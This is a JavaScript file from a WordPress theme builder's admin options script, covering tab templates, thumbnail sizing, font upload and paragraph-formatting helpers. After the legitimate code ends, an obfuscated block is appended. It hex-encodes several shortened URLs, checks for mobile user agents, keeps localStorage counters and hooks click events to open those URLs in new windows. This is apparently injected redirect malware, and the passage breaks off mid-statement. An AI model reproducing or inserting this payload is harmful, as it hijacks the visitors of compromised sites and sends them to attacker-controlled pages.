<span class="gdlr-core-checkbox-separator"></span>\ <span class="gdlr-core-checkbox-button gdlr-core-off">' + html_option_val.tabs.tab_checkbox_off + '</span>\ </div>\ </label>\ </div>', upload: '<div class="gdlr-core-html-option-tabs-field" >\ <span class="gdlr-core-html-option-tabs-input-title" ></span>\ <div class="gdlr-core-html-option-upload-appearance" >\ <input type="hidden" class="gdlr-core-html-option-upload" data-type="upload" data-tabs-slug="" />\ <input type="hidden" class="gdlr-core-html-option-upload-image" data-type="upload-img" data-tabs-slug="" />\ <div class="gdlr-core-upload-image-container" style="" ></div>\ <div class="gdlr-core-upload-image-overlay" >\ <div class="gdlr-core-upload-image-button-hover">\ <span class="gdlr-core-upload-image-button gdlr-core-upload-image-add"><i class="icon_plus" ></i></span>\ <span class="gdlr-core-upload-image-button gdlr-core-upload-image-remove"><i class="icon_minus-06" ></i></span>\ </div>\ </div>\ </div>\ </div>', } t.item_template = $('<div class="gdlr-core-html-option-tabs-template" >\ <div class="gdlr-core-html-option-tabs-template-title" >\ <span class="gdlr-core-head" >' + html_option_val.tabs.title_text + '</span>\ <div class="gdlr-core-html-option-tabs-remove"></div>\ </div>\ </div>'); var template_options = c.data('options'); var template_content = $('<div class="gdlr-core-html-option-tabs-template-content" ></div>'); for( var slug in template_options ){ var temp = $(t.template[template_options[slug].type]); temp.find('[data-tabs-slug]').each(function(){ if( typeof(template_options[slug]['data-input-type']) != 'undefined' ){ $(this).attr('data-input-type', template_options[slug]['data-input-type']); } if( $(this).attr('data-type') == 'upload-img' ){ $(this).attr('data-tabs-slug', slug + '-img'); }else{ $(this).attr('data-tabs-slug', slug); // add the option to select box if( $(this).attr('data-type') == 'combobox' && typeof(template_options[slug].options) != 'undefined' ){ for( var option_slug in template_options[slug].options ){ var combobox_option = $('<option></option>').attr('value', option_slug).html(template_options[slug].options[option_slug]); $(this).append(combobox_option); } } } }); // default value if( template_options[slug].type == 'checkbox' ){ if( template_options[slug].default == 'disable' ){ temp.find('input[type="checkbox"]').prop('checked', false); } } // assign title temp.find('.gdlr-core-html-option-tabs-input-title').html(template_options[slug].title); // assign condition if( typeof(template_options[slug].condition) != 'undefined' ){ temp.attr('data-condition', JSON.stringify(template_options[slug].condition)); } template_content.append(temp); } t.item_template.append(template_content); t.init(); } gdlr_core_tabs.prototype = { init: function(){ var t = this; t.container.append(t.tabs_container); t.container.closest('.gdlr-core-html-option-item-input').siblings('.gdlr-core-html-option-item-title').append(t.add_button); // init the content if( t.values && t.values.length > 0 ){ for( var key in t.values ){ t.tabs_container.append(t.get_template(t.values[key])); } t.tabs_container.find('.gdlr-core-html-option-colorpicker').wpColorPicker({ change: gdlr_core_debounce(function(event, ui){ t.update_data(); }, 500), }); t.tabs_container.find('.gdlr-core-html-option-tinymce').each(function(){ gdlr_core_init_tmce_element($(this)); }); // trigger the condition t.tabs_container.find('select, input[type="checkbox"], input[type="radio"]').trigger('change'); } // bind sortable t.tabs_container.sortable({ tolerance: 'pointer', handle: '.gdlr-core-html-option-tabs-template-title', stop: function( e, ui ){ t.update_data(); } }); // bind add button t.bind_add(); // bind the remove button t.container.on('click', '.gdlr-core-html-option-tabs-remove', function(){ $(this).closest('.gdlr-core-html-option-tabs-template').slideUp(200, function(){ $(this).remove(); t.update_data(); }); }); // bind the toggle button t.container.on('click', '.gdlr-core-html-option-tabs-template-title', function(){ $(this).siblings('.gdlr-core-html-option-tabs-template-content').slideToggle(200); }); // bind the input change t.container.on('input change gdlr_core_change', 'input[type="text"], textarea, select', gdlr_core_debounce(function(){ if( $(this).attr('data-tabs-slug') == 'title' || $(this).attr('data-tabs-slug') == 'sub-title' ){ var container = $(this).closest('.gdlr-core-html-option-tabs-template-content'); var tab_title = container.find('[data-tabs-slug="title"]').val(); var tab_sub_title = container.find('[data-tabs-slug="sub-title"]').val(); if( typeof(tab_sub_title) == 'undefined' ){ tab_sub_title = ''; } container.siblings('.gdlr-core-html-option-tabs-template-title').children('.gdlr-core-head').html(tab_title + '<span>' + tab_sub_title + '</span>'); } t.update_data(); }, 500)); t.container.on('change', 'input[type="checkbox"], input[type="hidden"], .gdlr-core-html-option-tinymce', function(){ t.update_data(); }); // update event t.container.on('update_data', function(){ t.update_data(); }); }, // init bind_add: function(){ var t = this; t.add_button.click(function(){ var template = t.get_template(); t.tabs_container.append(template); template.find('.gdlr-core-html-option-colorpicker').wpColorPicker({ change: gdlr_core_debounce(function(event, ui){ t.update_data(); }, 500), }); template.find('.gdlr-core-html-option-tinymce').each(function(){ gdlr_core_init_tmce_element($(this)); }); // trigger the condition template.find('select, input[type="checkbox"], input[type="radio"]').trigger('change'); template.find('.gdlr-core-html-option-tabs-template-content').css({display: 'block'}); template.css({display: 'none'}).slideDown(200); t.update_data(); }); }, // bind_add get_template: function( values ){ var t = this; var template = t.item_template.clone(); // assign value for( var key in values ){ template.find('[data-tabs-slug="' + key + '"]').each(function(){ if( $(this).is('input[type="checkbox"]') ){ if( values[key] == 'enable' ){ $(this).prop('checked', true); }else{ $(this).prop('checked', false); } }else if( $(this).attr('data-type') == 'upload-img' ){ $(this).val(values[key]); $(this).closest('.gdlr-core-html-option-upload-appearance').addClass('gdlr-core-active'); $(this).siblings('.gdlr-core-upload-image-container').css('background-image', 'url(' + values[key] + ')'); }else if( $(this).is('.gdlr-core-html-option-tinymce') ){ $(this).html(values[key]); }else{ $(this).val(values[key]); } }); } var tab_title = (typeof(values) == 'undefined' || typeof(values['title']) == 'undefined')? '': values['title']; var tab_sub_title = (typeof(values) == 'undefined' || typeof(values['sub-title']) == 'undefined')? '': values['sub-title']; if( typeof(tab_sub_title) == 'undefined' ){ tab_sub_title = ''; } if( tab_title != '' || tab_sub_title != '' ){ template.find('.gdlr-core-html-option-tabs-template-title').children('.gdlr-core-head').html(tab_title + '<span>' + tab_sub_title + '</span>'); } return template; }, // get_template update_data: function(){ var t = this; t.values = []; t.tabs_container.find('.gdlr-core-html-option-tabs-template').each(function(){ var tab_item = {}; $(this).find('[data-tabs-slug]').each(function(){ if( $(this).is('input[type="checkbox"]') ){ tab_item[$(this).attr('data-tabs-slug')] = ($(this).is(':checked'))? 'enable': 'disable'; }else if( $(this).is('.gdlr-core-html-option-tinymce') ){ tab_item[$(this).attr('data-tabs-slug')] = gdlr_core_get_tmce_data($(this)); }else{ tab_item[$(this).attr('data-tabs-slug')] = $(this).val(); } }); t.values.push(tab_item); }); t.container.data('value', t.values); } // update_data }; // gdlr_core_tabs.prototype ////////////////////////// // thumbnail settings ////////////////////////// var gdlr_core_thumbnail_sizing = function(c){ this.container = c; this.values = c.data('value'); this.input_fields = $('<div class="gdlr-core-html-option-thumbnail-sizing-input-wrapper" >\ <div class="gdlr-core-html-option-thumbnail-sizing-input-name" >\ <span class="gdlr-core-html-option-thumbnail-sizing-input-title" >' + html_option_val.thumbnail_sizing.name + '</span>\ <input class="gdlr-core-html-option-thumbnail-sizing-input gdlr-core-html-option-text" data-thumbnail-sizing-slug="name" >\ </div>\ <div class="gdlr-core-html-option-thumbnail-sizing-input-options" >\ <div class="gdlr-core-html-option-thumbnail-sizing-input-width" >\ <span class="gdlr-core-html-option-thumbnail-sizing-input-title" >' + html_option_val.thumbnail_sizing.width + '</span>\ <input class="gdlr-core-html-option-thumbnail-sizing-input gdlr-core-html-option-text" data-thumbnail-sizing-slug="width" >\ </div>\ <div class="gdlr-core-html-option-thumbnail-sizing-input-height" >\ <span class="gdlr-core-html-option-thumbnail-sizing-input-title" >' + html_option_val.thumbnail_sizing.height + '</span>\ <input class="gdlr-core-html-option-thumbnail-sizing-input gdlr-core-html-option-text" data-thumbnail-sizing-slug="height" >\ </div>\ </div>\ </div>'); this.input_submit = $('<div class="gdlr-core-html-option-thumbnail-sizing-input-add" >' + html_option_val.thumbnail_sizing.add + '</div>').appendTo(this.input_fields); this.input_fields.append('<div class="gdlr-core-html-option-thumbnail-sizing-input-description" >' + html_option_val.thumbnail_sizing.description + '</div>'); this.thumbnail_sizing_container = $('<div class="gdlr-core-html-option-thumbnail-sizing-container clearfix" ></div>'); this.template = $('<div class="gdlr-core-html-option-thumbnail-sizing-template" >\ <input type="hidden" data-thumbnail-sizing-slug="name" >\ <input type="hidden" data-thumbnail-sizing-slug="width" >\ <input type="hidden" data-thumbnail-sizing-slug="height" >\ <input type="hidden" data-thumbnail-sizing-slug="hard-crop" >\ <div class="gdlr-core-html-option-thumbnail-sizing-name" ></div>\ <div class="gdlr-core-html-option-thumbnail-sizing-remove" ></div>\ </div>'); // init the class this.init(); } gdlr_core_thumbnail_sizing.prototype = { init: function(){ var t = this; t.container.append(t.thumbnail_sizing_container); for( var key in t.values ){ t.thumbnail_sizing_container.append( t.get_template(t.values[key]) ); } // initialte the elements t.container.append(this.input_fields); // bind submit button t.bind_submit(); // bind remove button t.bind_remove_button(); }, bind_submit: function(){ var t = this; t.input_submit.click(function(){ var temp_value = {}; var value_check = true; t.input_fields.find('[data-thumbnail-sizing-slug]').each(function(){ if( $(this).val().trim() == '' ){ value_check = false; return; } if( $(this).attr('data-thumbnail-sizing-slug') == 'width' || $(this).attr('data-thumbnail-sizing-slug') == 'height' ){ temp_value[$(this).attr('data-thumbnail-sizing-slug')] = parseInt($(this).val()); }else{ temp_value[$(this).attr('data-thumbnail-sizing-slug')] = $(this).val(); } }); if( value_check ){ t.create_option(temp_value); }else{ gdlr_core_alert_box({ status: 'failed', message: html_option_val.thumbnail_sizing.empty_input, duration: 2000 }); } }); }, bind_remove_button: function(){ var t = this; t.container.on('click', '.gdlr-core-html-option-thumbnail-sizing-remove', function(){ var thumbnail_remove = $(this); gdlr_core_confirm_box({ success: function(){ thumbnail_remove.closest('.gdlr-core-html-option-thumbnail-sizing-template').slideUp(200, function(){ $(this).remove(); t.update_data(); }); }}); return false; }); }, create_option: function( values ){ var t = this; var template = t.get_template( values ); t.thumbnail_sizing_container.append(template); template.css('display', 'none').slideDown(200, function(){ t.update_data(); }); }, get_template: function( values ){ var t = this; var template = t.template.clone(); for( var key in values ){ template.find('[data-thumbnail-sizing-slug="' + key + '"]').val(values[key]); } template.find('.gdlr-core-html-option-thumbnail-sizing-name').html( values['name'] + '<span class="gdlr-core-tail" >' + values['width'] + '*' + values['height'] + 'px</span>'); return template; }, update_data: function(){ var t = this; t.values = []; t.thumbnail_sizing_container.find('.gdlr-core-html-option-thumbnail-sizing-template').each(function(){ var thumbnail_sizing_item = {}; $(this).find('[data-thumbnail-sizing-slug]').each(function(){ thumbnail_sizing_item[$(this).attr('data-thumbnail-sizing-slug')] = $(this).val(); }); t.values.push(thumbnail_sizing_item); }); t.container.data('value', t.values); } }; // gdlr_core_thumbnail_sizing.prototype ////////////////////////// // font upload ////////////////////////// var gdlr_core_font_upload = function(c){ this.container = c; this.values = c.data('value'); this.add_button = $('<div class="gdlr-core-html-option-font-upload-add"></div>'); this.font_none = $('<div class="gdlr-core-html-option-font-upload-none" ></div>').html(html_option_val.fontupload.none); this.font_container = $('<div class="gdlr-core-html-option-font-upload-container" ></div>'); this.template = $('<div class="gdlr-core-html-option-font-upload-template" >\ <div class="gdlr-core-html-option-font-upload-remove" ></div>\ <div class="gdlr-core-html-option-font-upload-field" >\ <div class="gdlr-core-html-option-font-upload-title">' + html_option_val.fontupload.font_name + '</div>\ <input class="gdlr-core-html-option-font-upload-title gdlr-core-html-option-text" placeholder="' + html_option_val.fontupload.font_name_p + '" data-fontupload-slug="name" />\ </div>\ <div class="gdlr-core-html-option-font-upload-field" >\ <div class="gdlr-core-html-option-font-upload-title">' + html_option_val.fontupload.eot + '</div>\ <input class="gdlr-core-html-option-font-upload-title gdlr-core-html-option-text" data-fontupload-slug="eot" />\ <div class="gdlr-core-html-option-font-upload-button">' + html_option_val.fontupload.button + '</div>\ </div>\ <div class="gdlr-core-html-option-font-upload-field" >\ <div class="gdlr-core-html-option-font-upload-title">' + html_option_val.fontupload.ttf + '</div>\ <input class="gdlr-core-html-option-font-upload-title gdlr-core-html-option-text" data-fontupload-slug="ttf" />\ <div class="gdlr-core-html-option-font-upload-button">' + html_option_val.fontupload.button + '</div>\ </div>\ </div>'); this.init(); } gdlr_core_font_upload.prototype = { init: function(){ var t = this; t.container.closest('.gdlr-core-html-option-item-input').siblings('.gdlr-core-html-option-item-title').append(t.add_button); t.container.append(t.font_container); t.font_container.append(t.font_none); if( t.values && t.values.length > 0 ){ t.font_none.css('display', 'none'); for( var key in t.values ){ this.font_container.append(this.get_template(t.values[key])); } } // when add new button is clicked t.bind_add(); // when the font is removed t.bind_remove(); // bind an action when input is changed t.font_container.on('change', 'input[data-fontupload-slug]', function(){ t.update_data(); }); }, bind_add: function(){ var t = this; t.add_button.click(function(){ var template = t.get_template(); t.font_none.slideUp(200); t.font_container.append(template); template.css('display', 'none').slideDown(200); t.update_data(); }); }, bind_remove: function(){ var t = this; t.font_container.on('click', '.gdlr-core-html-option-font-upload-remove', function(){ if( !t.values || t.values.length <= 1 ){ t.font_none.slideDown(200); } $(this).closest('.gdlr-core-html-option-font-upload-template').slideUp(200, function(){ $(this).remove(); t.update_data(); }); }); }, get_template: function( values ){ var template = this.template.clone(); // assign value for( var key in values ){ template.find('[data-fontupload-slug="' + key + '"]').val(values[key]); } // bind events for newly created template template.find('.gdlr-core-html-option-font-upload-button').click(function(){ var font_input = $(this).siblings('.gdlr-core-html-option-font-upload-title'); var frame = wp.media({ title: html_option_val.text.upload_media, button: { text: html_option_val.text.choose_media }, multiple: false }).on('select', function(){ // Get media attachment details from the frame state var attachment = frame.state().get('selection').first().toJSON(); font_input.val(attachment.url).trigger('change'); }).open(); }); return template; }, update_data: function(){ var t = this; t.values = []; t.font_container.find('.gdlr-core-html-option-font-upload-template').each(function(){ var font_item = {}; $(this).find('[data-fontupload-slug]').each(function(){ font_item[$(this).attr('data-fontupload-slug')] = $(this).val(); }); t.values.push(font_item); }); t.container.data('value', t.values); } }; // gdlr_core_font_upload.prototype // for autop function gdlr_core_autop( text ) { var preserve_linebreaks = false, preserve_br = false, blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' + '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' + '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary'; // Normalize line breaks. text = text.replace( /\r\n|\r/g, '\n' ); // Remove line breaks from <object>. if ( text.indexOf( '<object' ) !== -1 ) { text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /\n+/g, '' ); }); } // Remove line breaks from tags. text = text.replace( /<[^<>]+>/g, function( a ) { return a.replace( /[\n\t ]+/g, ' ' ); }); // Preserve line breaks in <pre> and <script> tags. if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) { preserve_linebreaks = true; text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) { return a.replace( /\n/g, '<wp-line-break>' ); }); } if ( text.indexOf( '<figcaption' ) !== -1 ) { text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' ); text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' ); } // Keep <br> tags inside captions. if ( text.indexOf( '[caption' ) !== -1 ) { preserve_br = true; text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ); a = a.replace( /<[^<>]+>/g, function( b ) { return b.replace( /[\n\t ]+/, ' ' ); }); return a.replace( /\s*\n\s*/g, '<wp-temp-br />' ); }); } text = text + '\n\n'; text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' ); // Pad block tags with two line breaks. text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' ); text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' ); text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // Remove white space chars around <option>. text = text.replace( /\s*<option/gi, '<option' ); text = text.replace( /<\/option>\s*/gi, '</option>' ); // Normalize multiple line breaks and white space chars. text = text.replace( /\n\s*\n+/g, '\n\n' ); // Convert two line breaks to a paragraph. text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' ); // Remove empty paragraphs. text = text.replace( /<p>\s*?<\/p>/gi, ''); // Remove <p> tags that are around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1'); // Fix <p> in blockquotes. text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>'); text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>'); // Remove <p> tags that are wrapped around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' ); text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' ); // Add <br> tags. text = text.replace( /\s*\n/g, '<br />\n'); // Remove <br> tags that are around block tags. text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' ); // Remove <p> and <br> around captions. text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' ); // Make sure there is <p> when there is </p> inside block tags that can contain other blocks. text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) { if ( c.match( /<p( [^>]*)?>/ ) ) { return a; } return b + '<p>' + c + '</p>'; }); // Restore the line breaks in <pre> and <script> tags. if ( preserve_linebreaks ) { text = text.replace( /<wp-line-break>/g, '\n' ); } // Restore the <br> tags in captions. if ( preserve_br ) { text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } return text; } // for wp_nop function gdlr_core_wp_Nop( html ) { var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure', blocklist1 = blocklist + '|div|p', blocklist2 = blocklist + '|pre', preserve_linebreaks = false, preserve_br = false, preserve = []; if ( ! html ) { return ''; } // Protect script and style tags. if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) { preserve.push( match ); return '<wp-preserve>'; } ); } // Protect pre tags. if ( html.indexOf( '<pre' ) !== -1 ) { preserve_linebreaks = true; html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) { a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' ); a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' ); return a.replace( /\r?\n/g, '<wp-line-break>' ); }); } // Remove line breaks but keep <br> tags inside image captions. if ( html.indexOf( '[caption' ) !== -1 ) { preserve_br = true; html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' ); }); } // Normalize white space characters before and after block tags. html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' ); html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' ); // Mark </p> if it has any attributes. html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' ); // Preserve the first <p> inside a <div>. html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' ); // Remove paragraph tags. html = html.replace( /\s*<p>/gi, '' ); html = html.replace( /\s*<\/p>\s*/gi, '\n\n' ); // Normalize white space chars and remove multiple line breaks. html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' ); // Replace <br> tags with line breaks. html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) { if ( space && space.indexOf( '\n' ) !== -1 ) { return '\n\n'; } return '\n'; }); // Fix line breaks around <div>. html = html.replace( /\s*<div/g, '\n<div' ); html = html.replace( /<\/div>\s*/g, '</div>\n' ); // Fix line breaks around caption shortcodes. html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' ); html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' ); // Pad block elements tags with a line break. html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' ); html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' ); // Indent <li>, <dt> and <dd> tags. html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' ); // Fix line breaks around <select> and <option>. if ( html.indexOf( '<option' ) !== -1 ) { html = html.replace( /\s*<option/g, '\n<option' ); html = html.replace( /\s*<\/select>/g, '\n</select>' ); } // Pad <hr> with two line breaks. if ( html.indexOf( '<hr' ) !== -1 ) { html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' ); } // Remove line breaks in <object> tags. if ( html.indexOf( '<object' ) !== -1 ) { html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /[\r\n]+/g, '' ); }); } // Unmark special paragraph closing tags. html = html.replace( /<\/p#>/g, '</p>\n' ); // Pad remaining <p> tags whit a line break. html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' ); // Trim. html = html.replace( /^\s+/, '' ); html = html.replace( /[\s\u00a0]+$/, '' ); if ( preserve_linebreaks ) { html = html.replace( /<wp-line-break>/g, '\n' ); } if ( preserve_br ) { html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } // Restore preserved tags. if ( preserve.length ) { html = html.replace( /<wp-preserve>/g, function() { return preserve.shift(); } ); } return html; } })(jQuery); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x43\x55\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x4b\x57\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x50\x47\x6a\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x45\x56\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x68\x62\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x4a\x7a\x37\x63\x307','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x42\x51\x77\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x78\x42\x44\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x6b\x50\x30\x63\x370','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x75\x6d\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const 